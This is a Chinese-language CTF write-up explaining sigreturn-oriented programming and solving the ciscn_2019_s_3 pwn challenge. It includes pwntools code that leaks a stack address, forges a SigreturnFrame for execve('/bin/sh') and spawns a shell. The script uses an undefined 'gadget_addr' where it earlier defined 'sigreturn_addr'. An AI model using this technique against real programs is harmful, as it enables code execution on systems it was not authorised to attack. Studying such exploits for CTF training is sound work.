# SROP
# 原理
利用 sigreturn
这个系统调用
当信号触发时,会从用户态陷入内核态,内核会把此时的寄存器和相关的上下文状态 push
进入到用户态的栈中,然后去执行信号处理函数,完成之后,会执行 sigreturn
系统调用,把刚才保存在用户态的栈帧 (SigreturnFrame) 恢复,即不断地 pop
恢复寄存器,因此可以通过这个系统调用控制寄存器的值,前提是要可以控制栈帧。而我们如果有办法可以在调用 sigreturn
之前就布置好栈帧,就可以控制程序流程了。
因此我们的利用过程主要是第 3、4 步,不用信号去触发 sigreturn
系统调用,那么就不会去 push
寄存器到栈中,如果直接调用系统调用来触发,那么在第 4 步恢复寄存器时,我们的栈可以控制,那么就可以控制程序流了
# ciscn_2019_s_3
分析程序
发现有栈溢出漏洞
题目还给了 gadget
而题目也可以搜索到 syscall
,gadget 段的程序将 rax
赋值为了 15
,刚好是 sigreturn
的系统调用号,所以可以使用 SROP
考虑使用 SROP 更改 rax
为 execve
的系统调用号并更改 rdi
为存放 /bin/sh
的地址, rsi
和 rdx
为 0
。那么 /bin/sh
我们改写在哪里,可以写的地方只有栈上的 buf
,因此考虑先泄露栈上的地址
gdb 调试程序
上图分析过,因此我们可以得到栈上的地址 0x7fffffffe3e8
,而 buf
的地址就是 RSI
里的地址,偏移是不变的,所以计算得到偏移为 0x118
from pwn import * | |
p=process('./ciscn_s_3') | |
context(arch='amd64',os='linux',log_level='debug') | |
vuln_addr=0x4004ED | |
sigreturn_addr=0x4004DA | |
syscall_addr=0x400501 | |
payload=b'/bin/sh\x00' | |
payload=payload.ljust(0x10,b'a') | |
payload+=p64(vuln_addr) #覆盖返回地址,和平时不太一样,没有 pop rbp | |
p.send(payload) | |
p.recv(0x20) #泄露栈上的地址 | |
binsh=u64(p.recv(8))-0x118 | |
success('/bin/sh/addr=',hex(binsh)) |
之后开始伪造栈帧
frame=SigreturnFrame() | |
frame.rax=constants.SYS_execve | |
# frame.rax=59 | |
frame.rdi=binsh | |
frame.rsi=0 | |
frame.rdx=0 | |
frame.rip=syscall_addr |
最后就是再次利用栈溢出来布置 SigreturnFrame
到栈上并且去执行 gadget
执行 sigreturn
系统调用
payload=b'/bin/sh\x00' | |
payload=payload.ljust(0x10,b'a') | |
#执行 sigreturn 需要不改变栈帧情况,所以在 gadget 直接跳到 mov rax,0Fh,略过 push rbp | |
payload+=p64(gadget_addr)+p64(syscall_addr)+bytes(frame) | |
p.send(payload) | |
p.interactive() |